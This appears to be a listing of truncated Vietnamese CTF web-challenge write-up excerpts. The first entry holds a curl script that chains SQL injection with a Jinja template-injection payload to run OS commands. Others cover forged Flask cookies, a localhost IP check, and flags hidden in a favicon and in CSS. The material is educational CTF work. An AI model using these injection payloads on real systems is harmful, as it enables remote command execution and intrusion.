No Quotes URL='https://no-quotes-2a0e52571125e072.chals.uoftctf.org'H=$(python3 - p="{{cycler.__init__.__globals__.os.popen(request.args.c).read()}}" print(p.encode().hex()) PY ) # login (UNION trả về 2 cột: id, username) curl -s -c c.txt -L -X POST "$URL/login" \ --data-urlencode "username=x\\" \ --data-urlencode "password=) UNION SELECT 1, CAST(0x$H AS CHAR) # " \ >/dev/nullcurl -s -b c...
Đề bàiGiải Trong source code có đoạn kiểm tra Cookies sau@app.route("/", methods=["GET", "POST"])def home(): if request.method == "POST": name = request.form.get("name", "") cookie_data = {"name": name, "is_pharaoh": False} encoded = base64.b64encode(json.dumps(cookie_data).encode()).decode() response = make_response(redirect(url_for("tomb"))) response.set_c..
Đề bàiGiảiTrong source code có đoạn kiểm tra saufastify.get('/admin', async (req, reply) => { if (req.ip === "127.0.0.1" || req.ip === "::1" || req.ip === "::ffff:127.0.0.1") { return reply.type('text/html').send(`Hello self! The flag is ${FLAG}.`) } return reply.type('text/html').send(`Hello ${req.ip}, I won't give you the flag!`)})Nếu mở /admin thì sẽ cần IP là 127.0.0.1 hoặc ::1..
Đề bàiGiảiTruy cập vào trang webCó vẻ như không có gì mấy, đề bài là Tiny Flag nên rất có thể là một đoạn chữ được in cực nhỏ và mờ hoặc là ảnh, icon dạng như thế, mình sẽ theo hướng đấy.Mình mở Network lên xem có những file nào trong web nàyCó file ico mình thấy có chữ nhỏ nhỏ khá là súFlagFlag: v1t{t1ny_ic0}
Đề bàiGiảiĐầu tiên mình sẽ truy cập vào trang webCó vẻ như không có tương tác gì, mình sẽ đọc source xemCó một file tên là csss.css, có vẻ khá lạ khi file css của web thường là style.cssThấy box-shadow chứa nhiều giá trị hơn bình thường, mình thử export ra và phân tích tiếpScriptimport re from PIL import Image, ImageDraw CSS = r""" .flag { width: 8px; height: 8px; background: #0f0; ..
Đề bàiGiảiKhi vào trang web nó sẽ bắt mình nhập username:passwdMình nhập bừa và bắt thử xem có những request nàoThấy có request login sauMình sẽ phân tích source code của nó Nhận thấy nó nhận vào username:passwd của mình và sau đó băm với thuật toán SHA256const uHash = await sha256Hex(username); const pHash = await sha256Hex(password);Tiếp tục là nó sẽ kiểm tra với hash gốc của nóif (timingSafe..
Đề bàiPhân tích sourceMình sẽ đọc source trước để xem có lỗi gì khôngfrom flask import Flask, render_template, session, request, jsonify import os import hashlib import time app = Flask(__name__) app.secret_key = "verysecurekeythatwenevergetto" GAMES = { 'cyber_strike': {'name': 'Cyber Strike 2077', 'genre': 'FPS', 'rating': 4.8, 'players': 45234}, 'fantasy_quest': {'name': 'Fantasy Ques..